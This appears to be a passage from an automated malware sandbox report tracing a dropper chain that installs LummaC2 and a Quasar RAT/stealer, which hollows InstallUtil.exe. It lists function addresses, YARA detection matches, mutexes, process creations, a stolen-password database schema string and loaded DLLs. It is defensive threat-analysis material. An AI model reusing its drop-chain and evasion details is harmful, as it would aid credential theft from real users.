Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0043482A	4_2_0043482A
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004300C5	4_2_004300C5
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004238E0	4_2_004238E0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044509D	4_2_0044509D
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00459940	4_2_00459940
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00427960	4_2_00427960
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042F970	4_2_0042F970
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0045A97E	4_2_0045A97E
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00430118	4_2_00430118
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00464920	4_2_00464920
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00430130	4_2_00430130
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004631D0	4_2_004631D0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004531DE	4_2_004531DE
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004441E0	4_2_004441E0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004491E0	4_2_004491E0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00451980	4_2_00451980
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00462EB0	4_2_00462EB0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044AA40	4_2_0044AA40
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042F250	4_2_0042F250
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042B260	4_2_0042B260
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042A270	4_2_0042A270
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044CA72	4_2_0044CA72
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00440A24	4_2_00440A24
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0045E230	4_2_0045E230
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004632C0	4_2_004632C0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004212D5	4_2_004212D5
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0045A2E0	4_2_0045A2E0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0043E298	4_2_0043E298
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00428340	4_2_00428340
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00441B40	4_2_00441B40
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044EB60	4_2_0044EB60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042DB20	4_2_0042DB20
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042132D	4_2_0042132D
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00435BD8	4_2_00435BD8
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044C3E0	4_2_0044C3E0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00462380	4_2_00462380
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00459BA0	4_2_00459BA0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004633B0	4_2_004633B0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00434BBF	4_2_00434BBF
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00464C50	4_2_00464C50
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00454C60	4_2_00454C60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044AC04	4_2_0044AC04
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0045EC20	4_2_0045EC20
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042ECC0	4_2_0042ECC0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00447CD2	4_2_00447CD2
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0043ECDE	4_2_0043ECDE
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00449494	4_2_00449494
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004294BF	4_2_004294BF
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042BD70	4_2_0042BD70
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00449D00	4_2_00449D00
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0043F510	4_2_0043F510
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042ADD0	4_2_0042ADD0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00452D80	4_2_00452D80
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004455A4	4_2_004455A4
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00428DA0	4_2_00428DA0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0043D5AF	4_2_0043D5AF
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004535B0	4_2_004535B0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044D642	4_2_0044D642
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00442E50	4_2_00442E50
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00436E10	4_2_00436E10
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044BE10	4_2_0044BE10
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00464620	4_2_00464620
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044762D	4_2_0044762D
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044A6D0	4_2_0044A6D0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004426A0	4_2_004426A0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00462EB0	4_2_00462EB0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044762D	4_2_0044762D
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042D760	4_2_0042D760
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00426F60	4_2_00426F60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00448F00	4_2_00448F00
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00463720	4_2_00463720
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00461720	4_2_00461720
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0042A730	4_2_0042A730
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00449494	4_2_00449494
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044B7D9	4_2_0044B7D9
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00428DA0	4_2_00428DA0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_0044B7FE	4_2_0044B7FE
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00454F80	4_2_00454F80
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00461F80	4_2_00461F80
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00446F82	4_2_00446F82
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00429F9C	4_2_00429F9C
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00424FA0	4_2_00424FA0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00429FA8	4_2_00429FA8
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_0180C150	6_2_0180C150
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_0180D490	6_2_0180D490
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_01808791	6_2_01808791
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_018087A0	6_2_018087A0
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_01807D88	6_2_01807D88
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_01807D98	6_2_01807D98
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05241378	6_2_05241378
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05243390	6_2_05243390
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05247528	6_2_05247528
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_0524751C	6_2_0524751C
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05243723	6_2_05243723
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05242788	6_2_05242788
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05242798	6_2_05242798
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_052437D5	6_2_052437D5
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_052479A9	6_2_052479A9
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05243380	6_2_05243380
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05271D88	6_2_05271D88
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_052751A8	6_2_052751A8
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05279C02	6_2_05279C02
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05275199	6_2_05275199
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05279B08	6_2_05279B08
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05279AF8	6_2_05279AF8
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_068BE5A0	6_2_068BE5A0
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_068A0006	6_2_068A0006
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_068A0040	6_2_068A0040
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_068BE1B8	6_2_068BE1B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00B9EFE4	7_2_00B9EFE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_0731A620	7_2_0731A620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_07316D88	7_2_07316D88
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095001	9_3_01095001

Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: String function: 0043C2A0 appears 176 times
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: String function: 0042C8C0 appears 71 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974455040871935
Source: file.exe	Static PE information: Section: puhiakkr ZLIB complexity 0.9946677518012609
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9974455040871935
Source: axplong.exe.0.dr	Static PE information: Section: puhiakkr ZLIB complexity 0.9946677518012609
Source: random[1].exe.2.dr	Static PE information: Section: twbahnth ZLIB complexity 0.9948631949558174
Source: 98a31794c6.exe.2.dr	Static PE information: Section: twbahnth ZLIB complexity 0.9948631949558174
Source: random[1].exe0.2.dr	Static PE information: Section: ZLIB complexity 0.9979244220219435
Source: 69de3a997f.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9979244220219435

Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@25/17@16/6

Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe

Code function: 4_2_00452088 CoCreateInstance,

4_2_00452088

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LummaC2[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\d1e2a934-6f26-4551-933b-02e44b85d93a
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 69de3a997f.exe, 00000009.00000003.2464831962.0000000005875000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2464426218.0000000005894000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2593446564.00000000058AA000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.000000000545A000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651458177.0000000005476000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2817669494.0000000005208000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2819872774.00000000051E9000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2869585690.0000000005203000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 55%
Source: file.exe	Virustotal: Detection: 59%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 98a31794c6.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe "C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe "C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe"
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe "C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe "C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe "C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe "C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe "C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe "C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe"
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process created: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe "C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe"
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process created: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe "C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe "C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe "C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe "C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe "C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process created: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe "C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe"
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process created: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe "C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
